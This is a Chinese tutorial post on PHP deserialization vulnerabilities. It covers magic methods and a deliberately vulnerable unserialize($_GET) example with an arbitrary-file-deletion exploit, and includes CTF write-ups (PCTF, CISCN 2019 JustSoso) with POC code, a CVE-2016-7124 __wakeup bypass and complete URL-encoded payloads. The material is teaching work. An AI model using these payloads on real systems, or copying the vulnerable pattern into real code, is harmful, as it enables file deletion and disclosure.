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PHP反序列化漏洞的理解和应用

这篇文章主要讲解了“PHP反序列化漏洞的理解和应用”，文中的讲解内容简单清晰，易于学习与理解，下面请大家跟着小编的思路慢慢深入，一起来研究和学习“PHP反序列化漏洞的理解和应用”吧！

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01学习前最好提前掌握的知识

  • PHP类与对象（https://www.php.net/manual/zh/language.oop5.php）

  • PHP魔术方法（https://secure.php.net/manual/zh/language.oop5.magic.php）

  • serialize()

（http://php.net/manual/zh/function.serialize.php）

与unserialize()

（http://php.net/manual/zh/function.unserialize.php）

02序列化与反序列化

PHP （从 PHP 3.05 开始）为保存对象提供了一组序列化和反序列化的函数：serialize、unserialize。

serialize()

当我们在php中创建了一个对象后，可以通过serialize()把这个对象转变成一个字符串，用于保存对象的值方便之后的传递与使用。测试代码如下；

class people

{

   public $name = "f1r3K0";

 public $age = '18';

}

$class = new people();

$class_ser = serialize($class);

print_r($class_ser);

?>                                       

测试结果：

O:6:"people":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}注意这里的括号外边的为大写英文字母 O

  • 下面是字母代表的类型 a - array 数组 b - boolean布尔型 d - double双精度型 i - integer o - common object一般对象 r - reference s - string C - custom object 自定义对象 O - class N - null R - pointer reference U - unicode string unicode编码的字符串

unserialize()

与 serialize() 对应的，unserialize()可以从序列化后的结果中恢复对象（object），我们翻阅PHP手册发现官方给出的是：unserialize — 从已存储的表示中创建 PHP 的值。

我们可以直接把之前序列化的对象反序列化回来来测试函数，如下：

class people

{

   public $name = "f1r3K0";

   public $age = '18';

}

$class =  new people();

$class_ser = serialize($class);

print_r($class_ser);

$class_unser = unserialize($class_ser);

print_r($class_unse r);

?>

PHP反序列化漏洞的理解和应用提醒一下，当使用 unserialize() 恢复对象时， 将调用 __wakeup() 成员函数。（先埋个伏笔，这个点后面会提）

03反序列化漏洞

由前面可以看出，当传给 unserialize() 的参数可控时，我们可以通过传入一个"精心”构造的序列化字符串，从而控制对象内部的变量甚至是函数。

利用构造函数等

Magic function

php中有一类特殊的方法叫“Magic function”，就是我们常说的"魔术方法" 这里我们着重关注一下几个：

  • __construct()：构造函数，当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

  • __destruct()：析构函数，类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行，当对象被销毁时会自动调用。

  • __wakeup()：如前所提，unserialize()时会检查是否存在 __wakeup()，如果存在，则会优先调用 __wakeup()方法。

  • __toString():用于处理一个类被当成字符串时应怎样回应，因此当一个对象被当作一个字符串时就会调用。

  • __sleep():用于提交未提交的数据，或类似的清理操作，因此当一个对象被序列化的时候被调用。

测试如下：

class people

{

   public $name = "f1r3K0";

   public $age = '18';

   function __wakeup()

   {

       echo "__wakeup()";

   }

   function __construct()

   {

       echo "__consrtuct()";

   }

   function __destruct()

   {

       echo "__destruct()";

   }

   function __toString()

   {

       echo "__toString";

   }

   /*function __sleep()

   {

       echo "__sleep";

   }*/

}

$class =  new people();

$class_ser = serialize($class);

print_r($class_ser);

$class_unser = unserialize($class_ser);

print_r($class_unser);

?>

结果如下：

PHP反序列化漏洞的理解和应用从运行结果来看，我们可以看出unserialize函数是优先调用"__wakeup()"再进行的反序列化字符串。同时，对于其他方法的调用顺序也一目了然了。（注意：这里我将sleep注释掉了，因为sleep会在序列化的时候调用，因此执行sleep方法就不会再执行序列以及之后的操作了。）

利用场景

__wakeup()和destruct()

由前可以看到，unserialize()后会导致wakeup() 或destruct()的直接调用，中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中，从而当我们控制序列化字符串时可以去直接触发它们。我们这里直接使用参考文章的例子，代码如下：

//logfile.php 删除临时日志文件

class LogFile {

   //log文件名

   public $filename = 'error.log';

   //存储日志文件

   public function LogData($text) {

       echo 'Log some data:' . $text . '
';

       file_put_contents($this->filename, $text, FILE_APPEND);

   }

   //Destructor删除日志文件

   public function __destruct() {

       echo '__destruct delete' . $this->filename . 'file.
';

       unlink(dirname(__FILE__) . '/' . $this->filename); //删除当前目录下的filename这个文件

   }

}

?>

//包含了’logfile.php’的主页面文件index.php

class User {

   //属性

   public $age = 0;

   public $name = '';

   //调用函数来输出类中属性

   public function PrintData() {

       echo 'User' . $this->name . 'is' . $this->age . 'years old.
';

   }

}

$usr = unserialize($_GET['user']);

?>

梳理下这2个php文件的功能，index.php是一个有php序列化漏洞的主业文件，logfile.php的功能就是在临时日志文件被记录了之后调用 __destruct方法来删除临时日志的一个php文件。 这个代码写的有点逻辑漏洞的感觉，利用这个漏洞的方式就是，通过构造能够删除source.txt的序列化字符串，然后get方式传入被反序列化函数,反序列化为对象，对象销毁后调用__destruct()来删除source.txt.

漏洞利用exp

  2. include 'logfile.php';

  3. $obj = new LogFile();

  4. $obj->filename = 'source.txt'; //source.txt为你想删除的文件

  5. echo serialize($obj) . '
    ';

  6. ?>

这里我们通过['GET']传入序列化字符串，调用反序列化函数来删除想要删除的文件。

PHP反序列化漏洞的理解和应用

之前还看到过一个wakeup()非常有意思的例子，这里直接上链接了

chybeta浅谈PHP反序列化 https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/

04其它magic function的利用

这里我就结合PCTF和今年国赛上的题来分析了

PCTF

题目链接：（http://web.jarvisoj.com:32768/index.php）

  • 前面几步都是很常见的读文件源码

    这里直接放出给的两个源码

  1. //index.php

  3.    require_once('shield.php');

  4.    $x = new Shield();

  5.    isset($_GET['class']) && $g = $_GET['class'];

  6.    if (!empty($g)) {

  7.        $x = unserialize($g);

  8.    }

  9.    echo $x->readfile();

  10. ?>

上边index.php提示了包含的shield.php所以说直接构造base64就完事了

  1. //shield.php

  3.    //flag is in pctf.php

  4.    class Shield {

  5.        public $file;

  6.        function __construct($filename = '') {

  7.            $this -> file = $filename;

  8.        }

  9.        function readfile() {

  10.            if (!empty($this->file) && stripos($this->file,'..')===FALSE  

  11.            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {

  12.                return @file_get_contents($this->file);

  13.            }

  14.        }

  15.    }

index.php 1.包含了一个shield.php 2.实例化了Shiele方法 3.通过[GET]接收了用户反序列化的内容，输出了readfile()方法

shield.php 1.首先就能发现file是可控的（利用点） 2.construct()在index中实例化的时候就已经执行了，因此不会影响我们对可控$file的利用。

构造poc

  2.    class Shield

  3.    {

  4.        public $file = "pctf.php";

  5.    }

  6.    $flag = new Shield();

  7.    print_r(serialize($flag));

  8. ?>最终poc:

PHP反序列化漏洞的理解和应用

最终POC

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

ciscn2019 web1- JustSoso

  1. //index.php

  4. error_reporting(0);

  5. $file = $_GET["file"];

  6. $payload = $_GET["payload"];

  7. if(!isset($file)){

  8.    echo 'Missing parameter'.'
    ';

  9. }

  10. if(preg_match("/flag/",$file)){

  11.    die('hack attacked!!!');

  12. }

  13. @include($file);

  14. if(isset($payload)){  

  15.    $url = parse_url($_SERVER['REQUEST_URI']);

  16.    parse_str($url['query'],$query);

  17.    foreach($query as $value){

  18.        if (preg_match("/flag/",$value)) {

  19.            die('stop hacking!');

  20.            exit();

  21.        }

  22.    }

  23.    $payload = unserialize($payload);

  24. }else{

  25.   echo "Missing parameters";

  26. }

  27. ?>

  2. class Handle{

  3.    private $handle;  

  4.    public function __wakeup(){

  5.        foreach(get_object_vars($this) as $k => $v) {

  6.            $this->$k = null;

  7.        }

  8.        echo "Waking up\n";

  9.    }

  10.    public function __construct($handle) {

  11.        $this->handle = $handle;

  12.    }

  13.    public function __destruct(){

  14.        $this->handle->getFlag();

  15.    }

  16. }

  17. class Flag{

  18.    public $file;

  19.    public $token;

  20.    public $token_flag;

  21.    function __construct($file){

  22.        $this->file = $file;

  23.        $this->token_flag=&$this->token;

  24.    }

  25.    public function getFlag(){

  26.        $this->token_flag = md5(rand(1,10000));

  27.        if($this->token === $this->token_flag)

  28.        {

  29.            if(isset($this->file)){

  30.                echo @highlight_file($this->file,true);

  31.            }  

  32.        }

  33.    }

  34. }

其实刚开始做的时候是很懵逼了，一直在纠结爆破md5上边。22233333

1.首先我们需要绕的就是 $url=parse_url($_SERVER['REQUEST_URI']);使得 parse_str($url['query'],$query); 中query解析失败，这样就可以在payload里出现flag，这里应该n1ctf的web eating cms的绕过方式，添加 ///index.php绕过。

2.接下来就是需要我们绕过wakeup()里的将$k赋值为空的操作，这里用到的是一枚cve 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

3.绕md5这里用到了PHP中引用变量的知识

https://blog.csdn.net/qq_33156633/article/details/79936487

简单来说就是，当两个变量指向同一地址时，例如： $b=&$a,这里的 $b指向的是 $a的区域，这样b就随着a变化而变化，同样的原理，我们在第二步序列化时加上这一步

  1. $b = new Flag("flag.php");

  2. $b->token=&$b->token_flag;

  3. $a = new Handle($b);

这样最后的token就和token_flag保持一致了。

最后的POC

  2. class Handle

  3. {      

  4.    private $handle;        

  5.    public function __wakeup()

  6.    {

  7.            foreach(get_object_vars($this) as $k => $v)

  8.        {

  9.                $this->$k = null;        

  10.            }          

  11.            echo "Waking upn";      

  12.    }

  13.    public function __construct($handle)

  14.    {          

  15.        $this->handle = $handle;      

  16.    }    

  17.    public function __destruct()

  18.    {    

  19.        $this->handle->getFlag();  

  20.    }  

  21. }    

  22. class Flag

  23. {      

  24.    public $file;      

  25.    public $token;      

  26.    public $token_flag;        

  27.    function __construct($file)

  28.    {    

  29.        $this->file = $file;    

  30.        $this->token_flag = $this->token = md5(rand(1,10000));      

  31.    }        

  32.    public function getFlag()

  33.    {      

  34.        if(isset($this->file))

  35.    {      

  36.            echo @highlight_file($this->file,true);              

  37.        }            

  38.    }  

  39. }

  40. $b = new Flag("flag.php");

  41. $b->token=&$b->token_flag;

  42. $a = new Handle($b);

  43. echo(serialize($a));

  44. ?>


PHP反序列化漏洞的理解和应用

这里还有一个点就是我们需要用%00来补全空缺的字符，又因为含有private 变量，需要 encode 一下。

最终payload：

file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

05利用普通成员方法

前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中，就不能指望通过“自动调用”来达到目的了。这时我们需要去寻找相同的函数名，把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的，层层递进，最终去构造出一个有杀伤力的payload。

感谢各位的阅读，以上就是“PHP反序列化漏洞的理解和应用”的内容了，经过本文的学习后，相信大家对PHP反序列化漏洞的理解和应用这一问题有了更深刻的体会，具体使用情况还需要大家实践验证。这里是创新互联，小编将为大家推送更多相关知识点的文章，欢迎关注！


标题名称：PHP反序列化漏洞的理解和应用
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